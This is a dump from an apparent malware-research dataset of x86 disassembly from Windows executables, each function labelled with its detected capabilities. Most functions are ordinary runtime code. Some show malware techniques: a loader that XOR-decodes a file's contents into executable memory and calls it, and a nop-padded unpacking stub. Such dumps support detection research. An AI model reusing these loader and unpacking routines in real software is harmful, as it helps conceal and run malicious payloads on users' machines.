joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46e460
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47acd0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x49c100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [edi + 8]
test esi, esi
je 0x46e4d3
lea ecx, [esi + 0x120]
cmp dword [ecx + 0x10], 0
mov dword [ebp - 4], 0
je 0x46e4ab
mov eax, dword [ecx + 0xc]
push ecx
mov eax, dword [eax]
call eax
add esp, 4
lea ecx, [esi + 0xb0]
call fcn.0044b4d0
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x46e4cc
or eax, 0xffffffff
lock xadd dword [ecx + 8], eax
jne 0x46e4cc
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [edi + 8], 0
mov esi, dword [edi + 4]
test esi, esi
je 0x46e513
push dword [0x4a8e68]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46e502
mov edx, dword [eax + 4]
test edx, edx
je 0x46e502
xor eax, eax
cmp dword [edx + eax*4], 0
lea ecx, [edx + eax*4]
je 0x46e524
inc eax
cmp eax, 2
jl 0x46e4f3
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
add esp, 4
mov dword [edi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [esi + 0x140]
mov byte [esi], al
mov dword [ecx], esi
jmp 0x46e50c

Function at 0x46e540
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47acd0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x49c100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [edi + 8]
test esi, esi
je 0x46e5b3
lea ecx, [esi + 0x128]
cmp dword [ecx + 0x10], 0
mov dword [ebp - 4], 0
je 0x46e58b
mov eax, dword [ecx + 0xc]
push ecx
mov eax, dword [eax]
call eax
add esp, 4
lea ecx, [esi + 0xb0]
call fcn.0044b570
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x46e5ac
or eax, 0xffffffff
lock xadd dword [ecx + 8], eax
jne 0x46e5ac
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [edi + 8], 0
mov esi, dword [edi + 4]
test esi, esi
je 0x46e5f3
push dword [0x4a8e68]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46e5e2
mov edx, dword [eax + 4]
test edx, edx
je 0x46e5e2
xor eax, eax
cmp dword [edx + eax*4], 0
lea ecx, [edx + eax*4]
je 0x46e604
inc eax
cmp eax, 2
jl 0x46e5d3
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__aligned_free]
add esp, 4
mov dword [edi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [esi + 0x148]
mov byte [esi], al
mov dword [ecx], esi
jmp 0x46e5ec
Function at 0x471620
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push 1
push 0
push 0
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov esi, eax
cmp esi, 0xffffffff
je 0x471671
cmp dword [esp + 0xc], 0x17
mov ecx, dword [esp + 0x18]
mov dword [ecx], 0
jne 0x47166c
push 4
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 0x1b
push 0x29
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, esi
pop esi
pop ecx
ret
call fcn.00433040
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
or eax, 0xffffffff
mov dword [ecx + 4], esi
pop esi
pop ecx
ret
Function at 0x471c70
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 4]
add eax, 0x18
lock inc dword [eax]
cmp byte [esp + 0x18], 0
je 0x471c97
mov ecx, dword [esi + 4]
push 0
push 0
push dword [esp + 0x24]
call fcn.00465a70
pop esi
ret 0x18
mov eax, dword [esp + 8]
mov ecx, dword [eax]
cmp ecx, 0xffffffff
jne 0x471cb9
mov ecx, dword [esi + 4]
push 0
push 0x2719
push dword [esp + 0x24]
call fcn.00465a70
pop esi
ret 0x18
mov eax, dword [esp + 0x14]
push ebx
push edi
mov edi, dword [esp + 0x24]
push 0
push edi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
push eax
push dword [esp + 0x28]
push dword [esp + 0x28]
push ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov ebx, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
jne 0x471cff
mov eax, 0x2746
jmp 0x471d0c
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test ebx, ebx
je 0x471d2b
cmp eax, 0x3e5
je 0x471d2b
push dword [esp + 0x20]
mov ecx, dword [esi + 4]
push eax
push edi
call fcn.00465a70
pop edi
pop ebx
pop esi
ret 0x18
mov ecx, dword [esi + 4]
push edi
call fcn.00466710
pop edi
pop ebx
pop esi
ret 0x18

Function at 0x471e70
Capabilities:
Send data
Send data on socket

Disassembly:
push edi
mov edi, ecx
mov eax, dword [edi + 4]
add eax, 0x18
lock inc dword [eax]
cmp byte [esp + 0x18], 0
je 0x471e97
mov ecx, dword [edi + 4]
push 0
push 0
push dword [esp + 0x24]
call fcn.00465a70
pop edi
ret 0x18
mov eax, dword [esp + 8]
mov eax, dword [eax]
cmp eax, 0xffffffff
jne 0x471eb9
mov ecx, dword [edi + 4]
push 0
push 0x2719
push dword [esp + 0x24]
call fcn.00465a70
pop edi
ret 0x18
push ebx
mov ebx, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
push esi
push 0
push ebx
push dword [esp + 0x24]
mov dword [esp + 0x2c], 0
push ecx
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
je 0x471f16
cmp eax, 0x3e5
je 0x471f16
push dword [esp + 0x20]
mov ecx, dword [edi + 4]
push eax
push ebx
call fcn.00465a70
pop esi
pop ebx
pop edi
ret 0x18
mov ecx, dword [edi + 4]
push ebx
call fcn.00466710
pop esi
pop ebx
pop edi
ret 0x18

Function at 0x475b6a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x475b91
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x475b94
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00475b46
pop esi
leave
ret 8
Function at 0x4770ff
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x47713e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47713e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47713e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x47713e
cmp dword [ecx + 0x74], 0xe
jbe 0x47713e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x68ef54
Capabilities:
Encode data using xor

Disassembly:
sahf
not dword [edx + 0x59]
xchg esi, eax
scasd eax, dword es:[edi]
lodsd eax, dword [esi]
pop edi
into
stc
inc ebx
int1
jno 0x68eecd
ret
outsb dx, byte [esi]
iretd
das
or byte [eax], ch
inc eax
or dword [esi + 0xb2a91ff], 0x5f
jnp 0x68eea9
lodsd eax, dword [esi]
push eax
pop ebp
ljmp 0x6431
popfd
jecxz 0x68eee2
xchg ecx, ecx
lds ebx, [esp + ebp*4 - 0x4d324b1a]
pushfd
lodsb al, byte [esi]
out 0xb4, al
int 0xb2
in eax, 0x48
mov ebp, 0x2a1d8631
xchg byte [0x3616a22a], bl
mov edi, 0x5523006
mov bl, 0x88
sub eax, 0xd3cd829a
pinsrw mm5, word [ebx + eax*2], 0x3a
push ds
pop eax
repne movsb byte es:[edi], byte es:[esi]
cmpsb byte [esi], byte es:[edi]
jno 0x68ef4a
add ebp, dword [esi]
pushal
cmp eax, 0xc223b953
test edi, 0xe945c922
ror byte [edi - 0x68ec00e], 1
sar byte [ebx - 0x23], 0x2c
mov bh, 0xc7
and al, byte [ebx + 0x1f127b91]
inc edx
sub byte [esi + ecx], al
or esp, dword [edi + 0x51]
scasd eax, dword es:[edi]
arpl word [esi + 2], cx
cmp al, 0xb3
mov dh, 0xcd
scasd eax, dword es:[edi]
nop
cwde
invalid
Function at 0x40cb2f
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x1505
jmp 0x40cb50
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x40cb48
and ecx, 0xffffffdf
imul edx, edx, 0x21
xor edx, ecx
add esi, 2
movzx ecx, word [esi]
test ecx, ecx
jne 0x40cb3d
mov eax, dword [ebp + 0x10]
movzx ecx, dl
mov edx, ecx
shr edx, 5
mov dword [eax], edx
mov eax, dword [ebp + 0x14]
xor edx, edx
and ecx, 0x1f
inc edx
shl edx, cl
pop esi
mov dword [eax], edx
pop ebp
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4019ee
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 8], 0
jne 0x401a2c
mov eax, dword fs:[0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0x30
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.kernel32.dll_HeapAlloc]
call eax
sub esp, 0xc
jmp 0x401a63
mov eax, dword fs:[0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add eax, 0x30
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov edx, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.kernel32.dll_HeapReAlloc]
call eax
sub esp, 0x10
leave
ret

Function at 0x401ed9
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [esp], str.WINEDEBUG
mov eax, dword [sym.imp.ucrtbase.dll_getenv]
call eax
mov dword [ebp - 4], eax
mov dword [0x403034], 0
cmp dword [ebp - 4], 0
je 0x401f0b
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._parse_options
nop
leave
ret

Function at 0x401f6f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.ucrtbase.dll_strlen]
call eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401f92
mov eax, 0
jmp 0x401fff
mov eax, dword [ebp - 4]
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
je 0x401fb7
mov eax, dword fs:[0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
add eax, 0x24
mov eax, dword [eax]
jmp 0x401fbc
mov eax, 0
mov dword [ebp - 0xc], 0x407018
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
xchg dword [edx], eax
mov dword [ebp - 0x14], eax
mov dword [esp], 2
mov eax, dword [sym.imp.ucrtbase.dll___acrt_iob_func]
call eax
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 4]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.ucrtbase.dll_fwrite]
call eax
leave
ret
Function at 0x402001
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xf4
lea eax, [ebp - 0xe0]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx edx, al
mov eax, dword [ebp + 8]
mov ecx, eax
sar edx, cl
mov eax, edx
and eax, 1
test eax, eax
jne 0x40203c
mov eax, 0xffffffff
jmp 0x4021ee
mov eax, dword fs:[0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 0x24
mov eax, dword [eax]
mov edx, eax
mov eax, dword [0x407018]
cmp edx, eax
jne 0x402062
mov eax, 0
jmp 0x4021ee
movzx eax, byte [0x403020]
movzx eax, al
and eax, 8
test eax, eax
je 0x4020db
mov dword [esp], 0x403020
call sym.___wine_dbg_get_channel_flags
movzx eax, al
and eax, 8
test eax, eax
je 0x4020db
mov eax, dword [sym.imp.kernel32.dll_GetTickCount]
call eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0xc]
mov edx, 0x10624dd3
mov eax, ebx
mul edx
mov ecx, edx
shr ecx, 6
imul eax, ecx, 0x3e8
sub ebx, eax
mov ecx, ebx
mov eax, dword [ebp - 0xc]
mov edx, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._3u._03u:
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sym._sprintf_1
add dword [ebp - 8], eax
movzx eax, byte [0x403010]
movzx eax, al
and eax, 8
test eax, eax
je 0x40212d
mov dword [esp], 0x403010
call sym.___wine_dbg_get_channel_flags
movzx eax, al
and eax, 8
test eax, eax
je 0x40212d
mov eax, dword fs:[0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0x20
mov eax, dword [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._04x:
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sym._sprintf_1
add dword [ebp - 8], eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, 0x24
mov eax, dword [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._04x:
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sym._sprintf_1
add dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
je 0x4021ae
cmp dword [ebp + 8], 3
ja 0x4021ae
mov eax, dword [ebp + 0xc]
lea ebx, [eax + 1]
mov eax, dword [ebp + 8]
mov eax, dword [eax*4 + 0x4053fc]
lea edx, [ebp - 0xe0]
mov ecx, dword [ebp - 8]
sub ecx, edx
mov edx, ecx
mov ecx, 0xc8
sub ecx, edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s:_s:_s
mov dword [esp + 4], ecx
mov eax, dword [ebp - 8]
mov dword [esp], eax
call sym._snprintf
mov dword [esp], 2
mov eax, dword [sym.imp.ucrtbase.dll___acrt_iob_func]
call eax
mov ebx, eax
lea eax, [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [sym.imp.ucrtbase.dll_strlen]
call eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [sym.imp.ucrtbase.dll_fwrite]
call eax
add esp, 0xf4
pop ebx
pop ebp
ret
Function at 0x4023c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov eax, dword [eax]
mov dword [ebp - 4], eax
call sym.___p___argv
mov eax, dword [eax]
mov dword [ebp - 8], eax
call sym.__get_initial_narrow_environment
mov dword [ebp - 0xc], eax
call sym._get_nt_header
movzx eax, word [eax + 0x5c]
cmp ax, 2
jne 0x402409
mov eax, 2
jmp 0x40240e
mov eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._main
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._exit
nop
nop
nop
Function at 0x9d3340
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9d3490
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9d3366
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9d3352
add dl, dl
jne 0x9d3371
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9d33c4
xor eax, eax
add dl, dl
jne 0x9d337e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9d3465
add dl, dl
jne 0x9d338d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9d3398
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9d33a3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9d33ae
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9d33ba
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9d335d
mov eax, 1
add dl, dl
jne 0x9d33d2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9d33dd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9d33c9
sub eax, ebx
mov ebx, 1
jne 0x9d3410
mov ecx, 1
add dl, dl
jne 0x9d33f6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9d3401
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9d33ed
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9d335d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9d3427
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9d3432
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9d341e
cmp eax, 0x7d00
jae 0x9d3455
cmp eax, 0x500
jb 0x9d3450
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9d335d
cmp eax, 0x7f
ja 0x9d3458
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9d335d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9d3486
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9d335d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x28001bd
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x55625fd6
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x421410
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x421446
mov dword [0x42d1b0], eax
mov edx, 0x4213f0
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00421ae0
test eax, eax
sete al
movzx eax, al
mov dword [0x4240b0], eax
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x4240b0], eax
leave
ret

Function at 0x421530
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], 0x41f610
mov dword [ebp - 0x24], 0x42379c
mov dword [ebp - 0x1c], 0x4215f0
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.00422080
cmp dword [0x4240b0], 0
mov dword [ebp - 0x44], 0x42d1c0
je 0x4215d0
jl 0x421610
mov dword [ebp - 0x3c], 1
mov eax, dword [0x42d1b0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x4216b3
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.00422160
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x42d1f0]
mov eax, 0xffffffff
test edx, edx
je 0x42162a
mov eax, dword [0x4240b4]
test eax, eax
je 0x42166a
xor eax, eax
test eax, eax
jne 0x421660
mov edi, dword [0x4240b0]
test edi, edi
js 0x421660
mov dword [ebp - 0x44], 0x42d1c0
mov ebx, dword [0x4240b0]
test ebx, ebx
je 0x4215d0
jmp 0x42157e
xor esi, esi
mov dword [0x4240b0], esi
jmp 0x421638
mov dword [esp], 0x4240b8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.DLL_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x4216f1
mov eax, dword [0x4240b4]
test eax, eax
jne 0x421628
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x4240b4]
test eax, eax
je 0x42168d
jmp 0x421628
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x4216e5
mov dword [esp + 4], eax
mov eax, dword [0x42d1b0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x42171a
test edx, edx
je 0x421705
mov dword [ebp - 0x3c], 1
call fcn.00420f90
call fcn.00421410
mov eax, 1
mov dword [0x4240b4], eax
jmp 0x421628
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x4215c6
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x4216e1
Function at 0x421980
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00421f40
call fcn.00421be0
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x4219b8
jmp 0x421a56
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x4219b7
cmp cl, 0x22
je 0x421a10
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x421a30
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x421a30
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x4219f0
jmp 0x421a30
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x421a10
cmp cl, 0x22
je 0x421a92
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x421a50
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x421a40
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x421a74
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.004036a0
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x421a30